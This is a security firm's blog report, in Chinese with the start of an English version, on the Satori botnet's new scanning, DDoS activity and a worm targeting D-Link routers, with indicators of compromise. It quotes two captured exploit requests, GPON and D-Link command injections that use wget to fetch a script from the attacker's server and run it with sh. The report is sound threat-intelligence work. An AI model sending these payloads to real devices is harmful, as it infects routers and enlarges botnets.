old-botnets-never-die-and-satori-refuse-to-fade-away-too

2018-10-06T09:04:41.000Z

public

published

2018-06-15T14:44:21.000Z

僵尸永远不死，Satori也拒绝凋零

<!--kg-card-begin: markdown--><p>两天前，2018-06-14，我们注意到 Satori 的作者开始扫描收集 uc-httpd 1.0.0 设备的IP地址列表。这或许是为了针对4月公开的脆弱性 XiongMai uc-httpd 1.0.0 (<a href="https://www.exploit-db.com/exploits/44864/">CVE-2018-10088</a>) 在做准备。这些扫描活动导致了近期在 80 和 8000 端口上的扫描流量大涨。</p> <p>3小时前，就在我们撰写本篇文章的同时，Satori 作者又发布了一个更新版本。这个更新是个蠕虫，针对 D-Link DSL-2750B 设备，对应的漏洞利用在5月25日刚刚 <a href="https://www.exploit-db.com/exploits/44760/">公开</a> 。</p> <h4 id="">僵尸永远不死</h4> <p>Satori 是 Mirai 僵尸网络的一个变种，我们首次注意到该僵尸网络是 2017-11-22。一周之后，2017-12-05，Satori在12小时内感染了超过26万家用路由器设备，成为臭名昭著的僵尸网络。从那以后我们不再使用“一个mirai僵尸网络变种”称呼它，而是给予了它一个独立的名字 Satori。以上这些记录在我们的 <a href="__GHOST_URL__/early-warning-a-new-mirai-variant-is-spreading-quickly-on-port-23-and-2323-2/">报告</a> 和 <a href="__GHOST_URL__/wa-a-new-mirai-variant-is-spreading-in-worm-style-on-port-37215-and-52869/">报告</a> 中。</p> <p>在那之后，安全社区采取了联合行动。多家运营商在 Satori 的重点攻击端口 37215 上采取了对抗措施。从事后看，这些措施有效抑制了 Satori 的扩张速度。但仅仅安全社区的这些披露和联合行动似乎并不能阻止 Satori 作者的更新。</p> <p>2018-01-08，我们检测到 Satori 的后继变种Satori.Coin.Robber 尝试在端口37215和52869上重新建立整个僵尸网络。值得注意的是，新变种开始渗透互联网上现存Claymore Miner挖矿设备，通过攻击其3333 管理端口，替换钱包地址，并最终攫取受害挖矿设备的算力和对应的 ETH 代币。这是我们第一次见到僵尸网络替换其他挖矿设备的钱包。我们在另一份 <a href="__GHOST_URL__/art-of-steal-satori-variant-is-robbing-eth-bitcoin-by-replacing-wallet-address/">报告</a> 中批露了 Satori 的这些活动。</p> <p>2018-05-10，GPON 漏洞（CVE-2018-10561，CVE-2018-10562）公布以后不到 10 天，Satori 也加入抢夺 GPON 易感设备的行列。并且Satori在短短时间内就挤掉了其它竞争对手，成为 “GPON僵尸Party” 中投放能力最强的一个。这已经是我们关于Satori 的第四份 <a href="__GHOST_URL__/gpon-exploit-in-the-wild-ii-satori-botnet/">报告</a> 。</p> <p>现在这篇是我们关于Satori 的第五份报告。僵尸永远不死，而且它们拒绝凋零。Satori的作者选择留在了场上。</p> <h4 id="satori">Satori 过去几天里的活动更新</h4> <p>Satori 近期活动的核心样本如下：</p> <pre><code>hxxp://185.62.190.191/arm.bot.le </code></pre> <p>该样本是由其它感染设备投入的，利用的漏洞是 GPON（ CVE-2018-10561），投入时的攻击Payload 是：</p> <pre><code>POST /GponForm/diag_Form?images/ HTTP/1.1 Host: 127.0.0.1:8080 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: Hello, World Content-Length: 118XWebPageName=diag&amp;diag_action=ping&amp;wan_conlist=0&amp;dest_host=;wget+hxxp://185.62.190.191/r+-O+-&gt;/tmp/r;sh+/tmp/r&amp;ipv=0 </code></pre> <p>在该样本中：</p> <ul> <li><strong>信息收集和上报</strong>：扫描互联网，寻找拥有 “uc-httpd 1.0.0” 设备指纹的IP地址，并将收集到的IP地址汇报至 r[.]rippr.cc:48101；</li> <li><strong>控制主机</strong>：95.215.62.169:5600 是其上联主机。C2通信协议也与之前版本不同，但本文不做展开；</li> <li><strong>DDoS攻击能力</strong>：集成四种 DDoS 攻击向量 udp_flood，syn_flood，tcp_ack_flood，gre_flood；</li> </ul> <p>在我们观察的过程中，该分支已经至少发起过两次DDoS攻击，攻击细节如下：</p> <ul> <li>2018-06-13 21:09:00 前后：TCP_ACK_FLOOD-&gt;(144.217.47.56:25565)</li> <li>2018-06-14 23:00:00 前后：UDP_FLOOD -&gt; (185.71.67.43:53)</li> </ul> <p>这两次攻击分别与我们DDoSMon 上的 <a href="https://ddosmon.net/explore/144.217.47.56">观察1</a> 和 <a href="https://ddosmon.net/explore/185.71.67.43">观察2</a> 一致。</p> <h4 id="808000">该样本导致了近期 80和8000 端口上的扫描流量</h4> <p>我们近期在ScanMon上分别观察到 80 和 8000 端口上的扫描流量增长。两次流量增长的开始时间分别是 2018-06-09 和 2018-06-14。</p> <p><img src="__GHOST_URL__/content/images/2018/06/scan-on-port-80.png" alt="" loading="lazy"><br> <img src="__GHOST_URL__/content/images/2018/06/scan-on-port-8000.png" alt="" loading="lazy"></p> <p>这两个端口上的流量增长，均是 Satori 样本 arm.bot.le 及其更新版本导致的：</p> <ul> <li><strong>端口80</strong>：扫描流量中的首包为 <code>GET / HTTP/1.0</code>，这与我们在 arm.bot.le 样本中观察到的 payload 一致；</li> <li><strong>端口8000</strong>：扫描流量中的首包为 <code>HEAD / HTTP/1.0</code>，这与我们在 arm.bot.le 的更新版本中观察到的payload一致。</li> </ul> <h4 id="">同源性分析</h4> <p>我们判定当前这些恶意样本与之前的 Satori 是同源的：</p> <ul> <li><strong>地址同源</strong>：样本下载URL（hxxp://185.62.190.191/arm.bot.le） 中的IP地址 185.62.190.191 ，是新样本的Downloader，这个IP地址也是 Satori 在之前 <a href="__GHOST_URL__/gpon-exploit-in-the-wild-ii-satori-botnet/">GPON 漏洞Party</a> 中使用的Downloader 地址。</li> <li><strong>代码同源</strong>：一段借鉴于 MIRAI 的解密代码在之前 Satori 的 okiru 系列样本中使用过。这段代码在新样本也在延续使用。</li> </ul> <p><img src="__GHOST_URL__/content/images/2018/06/code_snipper_unload.png" alt="" loading="lazy"><br> <img src="__GHOST_URL__/content/images/2018/06/code_snipper_unload_2.png" alt="" loading="lazy"></p> <p>上面两图展示的加密代码片段分别来自：</p> <ul> <li><strong>本轮的 Satori 样本</strong>：F8D1D92E9B74445F2A0D7F1FEB78D639，</li> <li><strong>之前的 Satori Okiru 分支</strong> : 0D39BF8EE7AC89DEC5DD8E541A828E15，</li> </ul> <h4 id="satoriuchttpd100ip">Satori 在采集 uc-httpd 1.0.0 设备指纹的 IP 地址</h4> <p>Satori 正在通过扫描 80/8000 端口的方式采集拥有“uc-httpd 1.0.0”设备指纹的 IP 地址，相关伪代码见后。</p> <p>一旦发现匹配的目标，便会将其 IP 汇报至 180.101.204.161:48101。值得说明的是上述地址是动态配置在 r.rippr.cc 域名的 DNS TXT 记录中的。通过这种方式作者可以在服务器端随意修改 C2 的IP地址，避免了样本硬编码。</p> <p><img src="__GHOST_URL__/content/images/2018/06/code_snipper_scan.png" alt="" loading="lazy"></p> <h4 id="satori">Satori 当前的更新</h4> <p>3小时前，2018-06-15 07:00:00，就在编辑们紧张撰写本文的同时，Satori 又做了更新。值得警惕的是，这个更新是个蠕虫：</p> <ul> <li><strong>针对漏洞</strong>：D-Link DSL-2750B 的命令执行漏洞</li> <li><strong>漏洞利用</strong>：在5月25日刚刚 <a href="https://www.exploit-db.com/exploits/44760/">公开</a></li> <li><strong>扫描端口</strong>：80 和 8080</li> <li><strong>蠕虫式传播</strong>：该漏洞利用同时出现在攻击投入的Payload中，以及投入成功后得到的样本中。如此，样本能够传播自身，形成蠕虫式传播</li> <li><strong>C2</strong>：95.215.62[.]169:5600。该IP地址动态配置在 i.rippr.cc 域名的 DNS TXT 中。</li> </ul> <p>样本来自：</p> <pre><code>e0278453d814d64365ce22a0c543ecb6 hxxp://185.62.190.191/r b288d2f404963fbc7ab03fcb51885cc3 hxxp://185.62.190.191/mipsel.bot.le 78191f8f942b8c9b3b6cceb743cefb03 hxxp://185.62.190.191/arm7.bot.le 753cbfec2475be870003a47b00e8e372 hxxp://185.62.190.191/arm.bot.le 0a44d64fdf9aebfedf433fb679b8b289 hxxp://185.62.190.191/mips.bot.be </code></pre> <p>样本的投入 Payload ：</p> <pre><code>GET /login.cgi?cli=aa aa';wget hxxp://185.62.190.191/r -O -&gt; /tmp/r;sh /tmp/r'$ HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: Hello, World </code></pre> <p>该攻击 Payload 同时出现在样本中：<br> <img src="__GHOST_URL__/content/images/2018/06/worm-payload-in-sample.png" alt="" loading="lazy"></p> <h4 id="ioc">IoC</h4> <pre><code>185.62.190.191 Satori Downloader 180.101.204.161:48101 Satori Report r.rippr.cc Satori Reporter listed in this host's DNS TXT record 95.215.62.169:5600 Satori C2 i.rippr.cc Satori C2 listed in this host's DNS TXT record </code></pre> <p>Satori Malware Sample md5</p> <pre><code>f6568772b36064f3bb58ac3aec09d30e http://123.207.251.95:80/bins/arm f6568772b36064f3bb58ac3aec09d30e http://123.207.251.95:80/bins/arm7 f6568772b36064f3bb58ac3aec09d30e http://185.62.190.191/arm.bot.le 99f13d801c40f23b19a07c6c77402095 http://123.207.251.95:80/bins/mpsl 99f13d801c40f23b19a07c6c77402095 http://185.62.190.191/mipsel.bot.le e337d9c99bfe2feef8949f6563c57062 http://123.207.251.95:80/bins/arm7 e337d9c99bfe2feef8949f6563c57062 http://185.62.190.191/arm7.bot.le f8d1d92e9b74445f2a0d7f1feb78d639 http://123.207.251.95:80/bins/arm f8d1d92e9b74445f2a0d7f1feb78d639 http://185.62.190.191/arm.bot.le 656f4a61cf29f3af54affde4fccb5fd0 http://185.62.190.191/x86_64.bot.le 31a40e95b605a93f702e4aa0092380b9 http://185.62.190.191/i686.bot.le 426f8281d6599c9489057af1678ce468 http://185.62.190.191/arm7.bot.le 44133462bd9653da097220157b1c0c61 http://185.62.190.191/arm.bot.le 476cd802889049e3d492b8fb7c5d09ed http://185.62.190.191/mipsel.bot.le bdf1a0ec31f130e959adafffb6014cce http://185.62.190.191/x86_64.bot.le e193a58b317a7b44622efe57508eecc4 http://185.62.190.191/r </code></pre> <!--kg-card-end: markdown-->

两天前，2018-06-14，我们注意到 Satori 的作者开始扫描收集 uc-httpd 1.0.0 设备的IP地址列表。这或许是为了针对4月公开的脆弱性 XiongMai uc-httpd 1.0.0 (CVE-2018-10088) 在做准备。这些扫描活动导致了近期在 80 和 8000 端口上的扫描流量大涨。 3小时前，就在我们撰写本篇文章的同时，Satori 作者又发布了一个更新版本。这个更新是个蠕虫，针对 D-Link DSL-2750B 设备，对应的漏洞利用在5月25日刚刚 公开 。 僵尸永远不死 Satori 是 Mirai 僵尸网络的一个变种，我们首次注意到该僵尸网络是 2017-11-22。一周之后，2017-12-05，Satori在12小时内感染了超过26万家用路由器设备，成为臭名昭著的僵尸网络。从那以后我们不再使用“一个mirai僵尸网络变种”称呼它，而是给予了它一个独立的名字 Satori。以上这些记录在我们的 报告 和 报告 中。 在那之后，安全社区采取了联合行动。多家运营商在 Satori 的重点攻击端口 37215 上采取了对抗措施。从事后看，这些措施有效抑制了 Satori 的扩张速度。但仅仅安全社区的这些披露和联合行动似乎并不能阻止 Satori 作者的更新。 2018-01-08，我们检测到 Satori 的后继变种Satori.Coin.Robber 尝试在端口37215和52869上重新建立整个僵尸网络。值得注意的是，新变种开始渗透互联网上现存Claymore Miner挖矿设备，通过攻击其3333 管理端口，替换钱包地址，并最终攫取受害挖矿设备的算力和对应的 ETH 代币。这是我们第一次见到僵尸网络替换其他挖矿设备的钱包。我们在另一份 报告 中批露了 Satori 的这些活动。 2018-05-10，GPON 漏洞（CVE-2018-10561，CVE-2018-10562）公布以后不到 10 天，Satori 也加入抢夺 GPON 易感设备的行列。并且Satori在短短时间内就挤掉了其它竞争对手，成为 “GPON僵尸Party” 中投放能力最强的一个。这已经是我们关于Satori 的第四份 报告 。 现在这篇是我们关于Satori 的第五份报告。僵尸永远不死，而且它们拒绝凋零。Satori的作者选择留在了场上。 Satori 过去几天里的活动更新 Satori 近期活动的核心样本如下： hxxp://185.62.190.191/arm.bot.le 该样本是由其它感染设备投入的，利用的漏洞是 GPON（ CVE-2018-10561），投入时的攻击Payload 是： POST /GponForm/diag_Form?images/ HTTP/1.1 Host: 127.0.0.1:8080 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: Hello, World Content-Length: 118XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=;wget+hxxp://185.62.190.191/r+-O+->/tmp/r;sh+/tmp/r&ipv=0 在该样本中： * 信息收集和上报：扫描互联网，寻找拥有 “uc-httpd 1.0.0” 设备指纹的IP地址，并将收集到的IP地址汇报至 r[.]rippr.cc:48101； * 控制主机：95.215.62.169:5600 是其上联主机。C2通信协议也与之前版本不同，但本文不做展开； * DDoS攻击能力：集成四种 DDoS 攻击向量 udp_flood，syn_flood，tcp_ack_flood，gre_flood； 在我们观察的过程中，该分支已经至少发起过两次DDoS攻击，攻击细节如下： * 2018-06-13 21:09:00 前后：TCP_ACK_FLOOD->(144.217.47.56:25565) * 2018-06-14 23:00:00 前后：UDP_FLOOD -> (185.71.67.43:53) 这两次攻击分别与我们DDoSMon 上的 观察1 和 观察2 一致。 该样本导致了近期 80和8000 端口上的扫描流量 我们近期在ScanMon上分别观察到 80 和 8000 端口上的扫描流量增长。两次流量增长的开始时间分别是 2018-06-09 和 2018-06-14。 这两个端口上的流量增长，均是 Satori 样本 arm.bot.le 及其更新版本导致的： * 端口80：扫描流量中的首包为 GET / HTTP/1.0，这与我们在 arm.bot.le 样本中观察到的 payload 一致； * 端口8000：扫描流量中的首包为 HEAD / HTTP/1.0，这与我们在 arm.bot.le 的更新版本中观察到的payload一致。 同源性分析 我们判定当前这些恶意样本与之前的 Satori 是同源的： * 地址同源：样本下载URL（hxxp://185.62.190.191/arm.bot.le） 中的IP地址 185.62.190.191 ，是新样本的Downloader，这个IP地址也是 Satori 在之前 GPON 漏洞Party 中使用的Downloader 地址。 * 代码同源：一段借鉴于 MIRAI 的解密代码在之前 Satori 的 okiru 系列样本中使用过。这段代码在新样本也在延续使用。 上面两图展示的加密代码片段分别来自： * 本轮的 Satori 样本：F8D1D92E9B74445F2A0D7F1FEB78D639， * 之前的 Satori Okiru 分支 : 0D39BF8EE7AC89DEC5DD8E541A828E15， Satori 在采集 uc-httpd 1.0.0 设备指纹的 IP 地址 Satori 正在通过扫描 80/8000 端口的方式采集拥有“uc-httpd 1.0.0”设备指纹的 IP 地址，相关伪代码见后。 一旦发现匹配的目标，便会将其 IP 汇报至 180.101.204.161:48101。值得说明的是上述地址是动态配置在 r.rippr.cc 域名的 DNS TXT 记录中的。通过这种方式作者可以在服务器端随意修改 C2 的IP地址，避免了样本硬编码。 Satori 当前的更新 3小时前，2018-06-15 07:00:00，就在编辑们紧张撰写本文的同时，Satori 又做了更新。值得警惕的是，这个更新是个蠕虫： * 针对漏洞：D-Link DSL-2750B 的命令执行漏洞 * 漏洞利用：在5月25日刚刚 公开 * 扫描端口：80 和 8080 * 蠕虫式传播：该漏洞利用同时出现在攻击投入的Payload中，以及投入成功后得到的样本中。如此，样本能够传播自身，形成蠕虫式传播 * C2：95.215.62[.]169:5600。该IP地址动态配置在 i.rippr.cc 域名的 DNS TXT 中。 样本来自： e0278453d814d64365ce22a0c543ecb6 hxxp://185.62.190.191/r b288d2f404963fbc7ab03fcb51885cc3 hxxp://185.62.190.191/mipsel.bot.le 78191f8f942b8c9b3b6cceb743cefb03 hxxp://185.62.190.191/arm7.bot.le 753cbfec2475be870003a47b00e8e372 hxxp://185.62.190.191/arm.bot.le 0a44d64fdf9aebfedf433fb679b8b289 hxxp://185.62.190.191/mips.bot.be 样本的投入 Payload ： GET /login.cgi?cli=aa aa';wget hxxp://185.62.190.191/r -O -> /tmp/r;sh /tmp/r'$ HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: Hello, World 该攻击 Payload 同时出现在样本中： IoC 185.62.190.191 Satori Downloader 180.101.204.161:48101 Satori Report r.rippr.cc Satori Reporter listed in this host's DNS TXT record 95.215.62.169:5600 Satori C2 i.rippr.cc Satori C2 listed in this host's DNS TXT record Satori Malware Sample md5 f6568772b36064f3bb58ac3aec09d30e http://123.207.251.95:80/bins/arm f6568772b36064f3bb58ac3aec09d30e http://123.207.251.95:80/bins/arm7 f6568772b36064f3bb58ac3aec09d30e http://185.62.190.191/arm.bot.le 99f13d801c40f23b19a07c6c77402095 http://123.207.251.95:80/bins/mpsl 99f13d801c40f23b19a07c6c77402095 http://185.62.190.191/mipsel.bot.le e337d9c99bfe2feef8949f6563c57062 http://123.207.251.95:80/bins/arm7 e337d9c99bfe2feef8949f6563c57062 http://185.62.190.191/arm7.bot.le f8d1d92e9b74445f2a0d7f1feb78d639 http://123.207.251.95:80/bins/arm f8d1d92e9b74445f2a0d7f1feb78d639 http://185.62.190.191/arm.bot.le 656f4a61cf29f3af54affde4fccb5fd0 http://185.62.190.191/x86_64.bot.le 31a40e95b605a93f702e4aa0092380b9 http://185.62.190.191/i686.bot.le 426f8281d6599c9489057af1678ce468 http://185.62.190.191/arm7.bot.le 44133462bd9653da097220157b1c0c61 http://185.62.190.191/arm.bot.le 476cd802889049e3d492b8fb7c5d09ed http://185.62.190.191/mipsel.bot.le bdf1a0ec31f130e959adafffb6014cce http://185.62.190.191/x86_64.bot.le e193a58b317a7b44622efe57508eecc4 http://185.62.190.191/r

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"两天前，2018-06-14，我们注意到 Satori 的作者开始扫描收集 uc-httpd 1.0.0 设备的IP地址列表。这或许是为了针对4月公开的脆弱性 XiongMai uc-httpd 1.0.0 ([CVE-2018-10088](https://www.exploit-db.com/exploits/44864/)) 在做准备。这些扫描活动导致了近期在 80 和 8000 端口上的扫描流量大涨。\n\n3小时前，就在我们撰写本篇文章的同时，Satori 作者又发布了一个更新版本。这个更新是个蠕虫，针对 D-Link DSL-2750B 设备，对应的漏洞利用在5月25日刚刚 [公开](https://www.exploit-db.com/exploits/44760/) 。\n\n#### 僵尸永远不死\n\nSatori 是 Mirai 僵尸网络的一个变种，我们首次注意到该僵尸网络是 2017-11-22。一周之后，2017-12-05，Satori在12小时内感染了超过26万家用路由器设备，成为臭名昭著的僵尸网络。从那以后我们不再使用“一个mirai僵尸网络变种”称呼它，而是给予了它一个独立的名字 Satori。以上这些记录在我们的 [报告](__GHOST_URL__/early-warning-a-new-mirai-variant-is-spreading-quickly-on-port-23-and-2323-2/) 和 [报告](__GHOST_URL__/wa-a-new-mirai-variant-is-spreading-in-worm-style-on-port-37215-and-52869/) 中。\n\n在那之后，安全社区采取了联合行动。多家运营商在 Satori 的重点攻击端口 37215 上采取了对抗措施。从事后看，这些措施有效抑制了 Satori 的扩张速度。但仅仅安全社区的这些披露和联合行动似乎并不能阻止 Satori 作者的更新。\n\n2018-01-08，我们检测到 Satori 的后继变种Satori.Coin.Robber 尝试在端口37215和52869上重新建立整个僵尸网络。值得注意的是，新变种开始渗透互联网上现存Claymore Miner挖矿设备，通过攻击其3333 管理端口，替换钱包地址，并最终攫取受害挖矿设备的算力和对应的 ETH 代币。这是我们第一次见到僵尸网络替换其他挖矿设备的钱包。我们在另一份 [报告](__GHOST_URL__/art-of-steal-satori-variant-is-robbing-eth-bitcoin-by-replacing-wallet-address/) 中批露了 Satori 的这些活动。\n\n2018-05-10，GPON 漏洞（CVE-2018-10561，CVE-2018-10562）公布以后不到 10 天，Satori 也加入抢夺 GPON 易感设备的行列。并且Satori在短短时间内就挤掉了其它竞争对手，成为 “GPON僵尸Party” 中投放能力最强的一个。这已经是我们关于Satori 的第四份 [报告](__GHOST_URL__/gpon-exploit-in-the-wild-ii-satori-botnet/) 。\n\n现在这篇是我们关于Satori 的第五份报告。僵尸永远不死，而且它们拒绝凋零。Satori的作者选择留在了场上。\n\n#### Satori 过去几天里的活动更新\n\nSatori 近期活动的核心样本如下：\n```\nhxxp://185.62.190.191/arm.bot.le\n```\n\n该样本是由其它感染设备投入的，利用的漏洞是 GPON（ CVE-2018-10561），投入时的攻击Payload 是：\n```\nPOST /GponForm/diag_Form?images/ HTTP/1.1\nHost: 127.0.0.1:8080\nConnection: keep-alive\nAccept-Encoding: gzip, deflate\nAccept: */*\nUser-Agent: Hello, World\nContent-Length: 118XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=;wget+hxxp://185.62.190.191/r+-O+->/tmp/r;sh+/tmp/r&ipv=0\n```\n\n在该样本中：\n\n - **信息收集和上报**：扫描互联网，寻找拥有 “uc\\-httpd 1.0.0” 设备指纹的IP地址，并将收集到的IP地址汇报至 r[.]rippr.cc:48101；\n - **控制主机**：95.215.62.169:5600 是其上联主机。C2通信协议也与之前版本不同，但本文不做展开；\n - **DDoS攻击能力**：集成四种 DDoS 攻击向量 udp\\_flood，syn\\_flood，tcp\\_ack\\_flood，gre\\_flood；\n\n在我们观察的过程中，该分支已经至少发起过两次DDoS攻击，攻击细节如下：\n\n - 2018-06-13 21:09:00 前后：TCP\\_ACK\\_FLOOD->(144.217.47.56:25565)\n - 2018-06-14 23:00:00 前后：UDP\\_FLOOD -> (185.71.67.43:53)\n\n这两次攻击分别与我们DDoSMon 上的 [观察1](https://ddosmon.net/explore/144.217.47.56) 和 [观察2](https://ddosmon.net/explore/185.71.67.43) 一致。\n\n#### 该样本导致了近期 80和8000 端口上的扫描流量\n\n我们近期在ScanMon上分别观察到 80 和 8000 端口上的扫描流量增长。两次流量增长的开始时间分别是 2018-06-09 和 2018-06-14。\n\n\n\n\n这两个端口上的流量增长，均是 Satori 样本 arm.bot.le 及其更新版本导致的：\n\n - **端口80**：扫描流量中的首包为 `GET / HTTP/1.0`，这与我们在 arm.bot.le 样本中观察到的 payload 一致；\n - **端口8000**：扫描流量中的首包为 `HEAD / HTTP/1.0`，这与我们在 arm.bot.le 的更新版本中观察到的payload一致。\n\n#### 同源性分析\n\n我们判定当前这些恶意样本与之前的 Satori 是同源的：\n\n - **地址同源**：样本下载URL（hxxp://185.62.190.191/arm.bot.le） 中的IP地址 185.62.190.191 ，是新样本的Downloader，这个IP地址也是 Satori 在之前 [GPON 漏洞Party](__GHOST_URL__/gpon-exploit-in-the-wild-ii-satori-botnet/) 中使用的Downloader 地址。\n - **代码同源**：一段借鉴于 MIRAI 的解密代码在之前 Satori 的 okiru 系列样本中使用过。这段代码在新样本也在延续使用。\n\n\n\n\n上面两图展示的加密代码片段分别来自：\n\n - **本轮的 Satori 样本**：F8D1D92E9B74445F2A0D7F1FEB78D639，\n - **之前的 Satori Okiru 分支** : 0D39BF8EE7AC89DEC5DD8E541A828E15，\n\n\n#### Satori 在采集 uc-httpd 1.0.0 设备指纹的 IP 地址\n\nSatori 正在通过扫描 80/8000 端口的方式采集拥有“uc-httpd 1.0.0”设备指纹的 IP 地址，相关伪代码见后。\n\n一旦发现匹配的目标，便会将其 IP 汇报至 180.101.204.161:48101。值得说明的是上述地址是动态配置在 r.rippr.cc 域名的 DNS TXT 记录中的。通过这种方式作者可以在服务器端随意修改 C2 的IP地址，避免了样本硬编码。\n\n\n\n#### Satori 当前的更新\n\n3小时前，2018-06-15 07:00:00，就在编辑们紧张撰写本文的同时，Satori 又做了更新。值得警惕的是，这个更新是个蠕虫：\n\n - **针对漏洞**：D-Link DSL-2750B 的命令执行漏洞\n - **漏洞利用**：在5月25日刚刚 [公开](https://www.exploit-db.com/exploits/44760/) \n - **扫描端口**：80 和 8080\n - **蠕虫式传播**：该漏洞利用同时出现在攻击投入的Payload中，以及投入成功后得到的样本中。如此，样本能够传播自身，形成蠕虫式传播\n - **C2**：95.215.62[.]169:5600。该IP地址动态配置在 i.rippr.cc 域名的 DNS TXT 中。\n\n样本来自：\n\n```\ne0278453d814d64365ce22a0c543ecb6 hxxp://185.62.190.191/r\nb288d2f404963fbc7ab03fcb51885cc3 hxxp://185.62.190.191/mipsel.bot.le\n78191f8f942b8c9b3b6cceb743cefb03 hxxp://185.62.190.191/arm7.bot.le\n753cbfec2475be870003a47b00e8e372 hxxp://185.62.190.191/arm.bot.le\n0a44d64fdf9aebfedf433fb679b8b289 hxxp://185.62.190.191/mips.bot.be\n```\n\n样本的投入 Payload ：\n```\nGET /login.cgi?cli=aa aa';wget hxxp://185.62.190.191/r -O -> /tmp/r;sh /tmp/r'$ HTTP/1.1\nHost: 127.0.0.1\nConnection: keep-alive\nAccept-Encoding: gzip, deflate\nAccept: */*\nUser-Agent: Hello, World\n```\n\n该攻击 Payload 同时出现在样本中：\n\n\n####IoC\n\n```\n185.62.190.191 Satori Downloader\n180.101.204.161:48101 Satori Report\nr.rippr.cc Satori Reporter listed in this host's DNS TXT record\n95.215.62.169:5600 Satori C2\ni.rippr.cc Satori C2 listed in this host's DNS TXT record\n```\n\nSatori Malware Sample md5\n```\nf6568772b36064f3bb58ac3aec09d30e http://123.207.251.95:80/bins/arm\nf6568772b36064f3bb58ac3aec09d30e http://123.207.251.95:80/bins/arm7\nf6568772b36064f3bb58ac3aec09d30e http://185.62.190.191/arm.bot.le\n99f13d801c40f23b19a07c6c77402095 http://123.207.251.95:80/bins/mpsl\n99f13d801c40f23b19a07c6c77402095 http://185.62.190.191/mipsel.bot.le\ne337d9c99bfe2feef8949f6563c57062 http://123.207.251.95:80/bins/arm7\ne337d9c99bfe2feef8949f6563c57062 http://185.62.190.191/arm7.bot.le\nf8d1d92e9b74445f2a0d7f1feb78d639 http://123.207.251.95:80/bins/arm\nf8d1d92e9b74445f2a0d7f1feb78d639 http://185.62.190.191/arm.bot.le\n656f4a61cf29f3af54affde4fccb5fd0 http://185.62.190.191/x86_64.bot.le\n31a40e95b605a93f702e4aa0092380b9 http://185.62.190.191/i686.bot.le\n426f8281d6599c9489057af1678ce468 http://185.62.190.191/arm7.bot.le\n44133462bd9653da097220157b1c0c61 http://185.62.190.191/arm.bot.le\n476cd802889049e3d492b8fb7c5d09ed http://185.62.190.191/mipsel.bot.le\nbdf1a0ec31f130e959adafffb6014cce http://185.62.190.191/x86_64.bot.le\ne193a58b317a7b44622efe57508eecc4 http://185.62.190.191/r\n```"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

127

post

2018-06-15T14:41:05.000Z

63873b9a8b1c1e0007f52f2b

botnets-never-die-satori-refuses-to-fade-away-en

2018-10-06T09:13:26.000Z

public

published

2018-06-15T15:22:46.000Z

Botnets never Die, Satori REFUSES to Fade Away

<!--kg-card-begin: markdown--><p>Two days ago, on 2018-06-14, we noticed that an updated Satori botnet began to perform network wide scan looking for uc-httpd 1.0.0 devices. Most likely for the vulnerability of XiongMai uc-httpd 1.0.0 (<a href="https://www.exploit-db.com/exploits/44864/">CVE-2018-10088</a>). The scanning activities led to a surge in scanning traffic on ports 80 and 8000.</p> <p>About three hours ago, as we were writing this article, the Satori author released yet another update. Which is a worm, targeting for D-Link DSL-2750B device, the exploit was published on 5/25 <a href="https://www.exploit-db.com/exploits/44760/">here</a>.</p> <p>Satori is a variant of the Mirai botnet. We first discovered this botnet on 2017-11-22. A week later, on 2017-12-05, Satori started to pick up, and infected more than 260,000 home routers within 12 hours. You can see our old blogs <a href="__GHOST_URL__/early-warning-a-new-mirai-variant-is-spreading-quickly-on-port-23-and-2323-en/">here</a> and <a href="__GHOST_URL__/warning-satori-a-new-mirai-variant-is-spreading-in-worm-style-on-port-37215-and-52869-en/">here</a>.</p> <p>The security community took joint action soon. Multiple ISPs blocked the main Satori port 37215 in their networks. But satori did not stop.</p> <p>On 2018-01-08, we discovered that Satori has a successor Satori.Coin.Robber which tried to re-establish the botnet on ports 37215 and 52869. This new variant began to infiltrate the existing Claymore Miner mining devices on the internet by attacking their 3333 management port and replacing the wallet addresses. This is the first time we noticed botnets replace wallets addresses. You can see our old blog <a href="__GHOST_URL__/art-of-steal-satori-variant-is-robbing-eth-bitcoin-by-replacing-wallet-address-en/">here</a>.</p> <p>On 2018-05-10, another Satori variant joined the party for the vulnerable GPON devices (CVE-2018-10561, CVE-2018-10562). And Satori quickly kicked out other competitors in a short period of time and became the strongest player in the &quot;GPON Zombie Party.&quot; You can see 4th blog about Satori <a href="__GHOST_URL__/gpon-exploit-in-the-wild-ii-satori-botnet-en/">here</a>.</p> <p>And now we are looking at our 5th Satori blog …</p> <h4 id="satoriupdatesinthepastfewdays">Satori Updates in the Past Few Days</h4> <p>The core sample of Satori's recent activities is as follows:</p> <pre><code>hxxp://185.62.190.191/arm.bot.le </code></pre> <p>The exploited vulnerability was GPON (CVE-2018-10561). The attack Payload was:</p> <pre><code>POST /GponForm/diag_Form?images/ HTTP/1.1 Host: 127.0.0.1:8080 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: Hello, World Content-Length: 118XWebPageName=diag&amp;diag_action=ping&amp;wan_conlist=0&amp;dest_host=;wget+hxxp://185.62.190.191/r+-O+-&gt;/tmp/r;sh+/tmp/r&amp;ipv=0 </code></pre> <p>In this sample:</p> <ul> <li><strong>Information collection and reporting</strong>: The botnet scans the Internet, looking for the IP address that has the fingerprint of “uc-httpd 1.0.0”, and report the collected IP address to 180.101.204.161:48101. This IP is dynamic configured in r[.]rippr.cc DNS TXT record.</li> <li><strong>The C2</strong>: 95.215.62.169:5600. The C2 communication protocol is different from the previous versions</li> <li><strong>DDoS attack capability</strong>: four DDoS attack vectors are supported, including udp_flood, syn_flood, tcp_ack_floodand gre_flood</li> </ul> <p>This new variant has already launched at least two DDoS attacks. The details of the attack are as follows:</p> <ul> <li>2018-06-13 21:09:00 : TCP_ACK_FLOOD-&gt;(144.217.47.56:25565)</li> <li>2018-06-14 23:00:00 : UDP_FLOOD -&gt; (185.71.67.43:53)</li> </ul> <p>This two attacks, were also logged by our DDosMon system, respectively <a href="https://ddosmon.net/explore/144.217.47.56">observed 1</a> and <a 